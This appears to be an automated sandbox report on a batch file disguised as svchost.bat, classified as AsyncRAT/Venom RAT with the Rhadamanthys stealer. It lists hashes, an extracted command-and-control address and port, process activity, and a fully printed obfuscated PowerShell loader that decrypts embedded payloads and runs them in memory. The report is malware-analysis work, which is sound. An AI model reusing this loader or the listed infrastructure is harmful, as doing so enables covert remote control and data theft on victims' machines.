asyncrat | 908fd49bd1d8751057fa509240b3dd3e161e9af3e1440d927d919c01eb949ad2

Analysis

max time kernel
283s
max time network
300s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
09-07-2024 21:36

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General

Target

svchost.bat
Size

396KB
MD5

8eeff7476b9e0d2c7b56538d7cc98e7a
SHA1

84991e8c34d6e9cefb7b5d8b79202d5fc5935396
SHA256

908fd49bd1d8751057fa509240b3dd3e161e9af3e1440d927d919c01eb949ad2
SHA512

174311a059e3b2bd16029a80e4b0bf007d0b31a54395f8a036c53e2905aaf4656c30c51a9dff4880bbc2b6bb3e0a237ad35e126367a00b456f3e426f58ddc919
SSDEEP

12288:71qhIV59Nm/Jzw5WwHdKkZGmgEI9oOC/zupA9csmX:7CIRNm/O5WwHdpZOEI9C6pAvW

Score

10^/10

asyncrat rhadamanthys default rat stealer

Malware Config

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

147.185.221.20:49485

Mutex

RANDOM-SHIT

Attributes

delay
3
install
true
install_file
svchost.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3368 created 3092	3368	Explorer.EXE	50

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/memory/3684-83-0x0000020DDAF60000-0x0000020DDAF78000-memory.dmp	family_asyncrat

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe
3684	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3368	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3684	powershell.exe
Token: SeIncreaseQuotaPrivilege	3684	powershell.exe
Token: SeSecurityPrivilege	3684	powershell.exe
Token: SeTakeOwnershipPrivilege	3684	powershell.exe
Token: SeLoadDriverPrivilege	3684	powershell.exe
Token: SeSystemProfilePrivilege	3684	powershell.exe
Token: SeSystemtimePrivilege	3684	powershell.exe
Token: SeProfSingleProcessPrivilege	3684	powershell.exe
Token: SeIncBasePriorityPrivilege	3684	powershell.exe
Token: SeCreatePagefilePrivilege	3684	powershell.exe
Token: SeBackupPrivilege	3684	powershell.exe
Token: SeRestorePrivilege	3684	powershell.exe
Token: SeShutdownPrivilege	3684	powershell.exe
Token: SeDebugPrivilege	3684	powershell.exe
Token: SeSystemEnvironmentPrivilege	3684	powershell.exe
Token: SeRemoteShutdownPrivilege	3684	powershell.exe
Token: SeUndockPrivilege	3684	powershell.exe
Token: SeManageVolumePrivilege	3684	powershell.exe
Token: 33	3684	powershell.exe
Token: 34	3684	powershell.exe
Token: 35	3684	powershell.exe
Token: 36	3684	powershell.exe
Token: SeIncreaseQuotaPrivilege	3684	powershell.exe
Token: SeSecurityPrivilege	3684	powershell.exe
Token: SeTakeOwnershipPrivilege	3684	powershell.exe
Token: SeLoadDriverPrivilege	3684	powershell.exe
Token: SeSystemProfilePrivilege	3684	powershell.exe
Token: SeSystemtimePrivilege	3684	powershell.exe
Token: SeProfSingleProcessPrivilege	3684	powershell.exe
Token: SeIncBasePriorityPrivilege	3684	powershell.exe
Token: SeCreatePagefilePrivilege	3684	powershell.exe
Token: SeBackupPrivilege	3684	powershell.exe
Token: SeRestorePrivilege	3684	powershell.exe
Token: SeShutdownPrivilege	3684	powershell.exe
Token: SeDebugPrivilege	3684	powershell.exe
Token: SeSystemEnvironmentPrivilege	3684	powershell.exe
Token: SeRemoteShutdownPrivilege	3684	powershell.exe
Token: SeUndockPrivilege	3684	powershell.exe
Token: SeManageVolumePrivilege	3684	powershell.exe
Token: 33	3684	powershell.exe
Token: 34	3684	powershell.exe
Token: 35	3684	powershell.exe
Token: 36	3684	powershell.exe
Token: SeShutdownPrivilege	3368	Explorer.EXE
Token: SeCreatePagefilePrivilege	3368	Explorer.EXE
Token: SeShutdownPrivilege	3368	Explorer.EXE
Token: SeCreatePagefilePrivilege	3368	Explorer.EXE
Token: SeShutdownPrivilege	3368	Explorer.EXE
Token: SeCreatePagefilePrivilege	3368	Explorer.EXE
Token: SeShutdownPrivilege	3368	Explorer.EXE
Token: SeCreatePagefilePrivilege	3368	Explorer.EXE
Token: SeShutdownPrivilege	3368	Explorer.EXE
Token: SeCreatePagefilePrivilege	3368	Explorer.EXE
Token: SeShutdownPrivilege	3368	Explorer.EXE
Token: SeCreatePagefilePrivilege	3368	Explorer.EXE
Token: SeShutdownPrivilege	3368	Explorer.EXE
Token: SeCreatePagefilePrivilege	3368	Explorer.EXE
Token: SeShutdownPrivilege	3368	Explorer.EXE
Token: SeCreatePagefilePrivilege	3368	Explorer.EXE
Token: SeShutdownPrivilege	3368	Explorer.EXE
Token: SeCreatePagefilePrivilege	3368	Explorer.EXE
Token: SeShutdownPrivilege	3368	Explorer.EXE
Token: SeCreatePagefilePrivilege	3368	Explorer.EXE
Token: SeShutdownPrivilege	3368	Explorer.EXE

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1460 wrote to memory of 1252	1460	cmd.exe	74
PID 1460 wrote to memory of 1252	1460	cmd.exe	74
PID 1460 wrote to memory of 3684	1460	cmd.exe	75
PID 1460 wrote to memory of 3684	1460	cmd.exe	75
PID 3684 wrote to memory of 3368	3684	powershell.exe	54
PID 3368 wrote to memory of 2688	3368	Explorer.EXE	76
PID 3368 wrote to memory of 2688	3368	Explorer.EXE	76
PID 3368 wrote to memory of 2688	3368	Explorer.EXE	76
PID 3368 wrote to memory of 2688	3368	Explorer.EXE	76

c:\windows\system32\sihost.exe
sihost.exe
1⤵
PID:3092
- C:\Windows\system32\openwith.exe
  "C:\Windows\system32\openwith.exe"
  2⤵
  PID:2688

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\svchost.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1460
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('n9ZmU5/PC5KtVx1quQV0tSXT3NElOxxx6q5t6hjaxWA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5OqvQAvAr9GTRWmouqMfEQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $qtKDW=New-Object System.IO.MemoryStream(,$param_var); $MgUrt=New-Object System.IO.MemoryStream; $FhzHj=New-Object System.IO.Compression.GZipStream($qtKDW, [IO.Compression.CompressionMode]::Decompress); $FhzHj.CopyTo($MgUrt); $FhzHj.Dispose(); $qtKDW.Dispose(); $MgUrt.Dispose(); $MgUrt.ToArray();}function execute_function($param_var,$param2_var){ $xZsKh=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bIPsk=$xZsKh.EntryPoint; $bIPsk.Invoke($null, $param2_var);}$MDTVT = 'C:\Users\Admin\AppData\Local\Temp\svchost.bat';$host.UI.RawUI.WindowTitle = $MDTVT;$yugZz=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($MDTVT).Split([Environment]::NewLine);foreach ($pgATY in $yugZz) { if ($pgATY.StartsWith('qAbBQpLuRAqBaeIZIbhf')) { $UxrsW=$pgATY.Substring(20); break; }}$payloads_var=[string[]]$UxrsW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:1252
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3684

Network

MITRE ATT&CK Matrix

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_324hdtyy.1go.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/2688-67-0x000001FA0BAA0000-0x000001FA0BAAA000-memory.dmp

Filesize
40KB

Download
memory/2688-82-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp

Filesize
1.9MB

Download
memory/2688-78-0x00007FF8A5680000-0x00007FF8A58C9000-memory.dmp

Filesize
2.3MB

Download
memory/2688-75-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp

Filesize
1.9MB

Download
memory/2688-79-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp

Filesize
1.9MB

Download
memory/2688-77-0x00007FF8A5FD0000-0x00007FF8A607E000-memory.dmp

Filesize
696KB

Download
memory/2688-74-0x000001FA0D610000-0x000001FA0DA10000-memory.dmp

Filesize
4.0MB

Download
memory/2688-73-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp

Filesize
1.9MB

Download
memory/3368-63-0x0000000001320000-0x0000000001329000-memory.dmp

Filesize
36KB

Download
memory/3368-64-0x0000000009BC0000-0x0000000009FC0000-memory.dmp

Filesize
4.0MB

Download
memory/3368-66-0x0000000009BC0000-0x0000000009FC0000-memory.dmp

Filesize
4.0MB

Download
memory/3368-69-0x00007FF8A8371000-0x00007FF8A847F000-memory.dmp

Filesize
1.1MB

Download
memory/3368-60-0x0000000009BC0000-0x0000000009FC0000-memory.dmp

Filesize
4.0MB

Download
memory/3368-96-0x0000000009BC0000-0x0000000009FC0000-memory.dmp

Filesize
4.0MB

Download
memory/3368-65-0x0000000009BC0000-0x0000000009FC0000-memory.dmp

Filesize
4.0MB

Download
memory/3368-95-0x0000000001320000-0x0000000001329000-memory.dmp

Filesize
36KB

Download
memory/3368-58-0x0000000002D80000-0x0000000002DA9000-memory.dmp

Filesize
164KB

Download
memory/3368-59-0x0000000001320000-0x0000000001329000-memory.dmp

Filesize
36KB

Download
memory/3684-54-0x0000020DDA8C0000-0x0000020DDA8C8000-memory.dmp

Filesize
32KB

Download
memory/3684-6-0x0000020DDA950000-0x0000020DDA972000-memory.dmp

Filesize
136KB

Download
memory/3684-4-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp

Filesize
1.9MB

Download
memory/3684-33-0x0000020DDAAC0000-0x0000020DDAAFC000-memory.dmp

Filesize
240KB

Download
memory/3684-44-0x0000020DDAEE0000-0x0000020DDAF56000-memory.dmp

Filesize
472KB

Download
memory/3684-5-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp

Filesize
1.9MB

Download
memory/3684-83-0x0000020DDAF60000-0x0000020DDAF78000-memory.dmp

Filesize
96KB

Download
memory/3684-93-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp

Filesize
1.9MB

Download
memory/3684-94-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp

Filesize
1.9MB

Download
memory/3684-53-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp

Filesize
1.9MB

Download
memory/3684-55-0x0000020DDAB40000-0x0000020DDAB8C000-memory.dmp

Filesize
304KB

Download
memory/3684-97-0x00007FF8A8370000-0x00007FF8A854B000-memory.dmp

Filesize
1.9MB

Download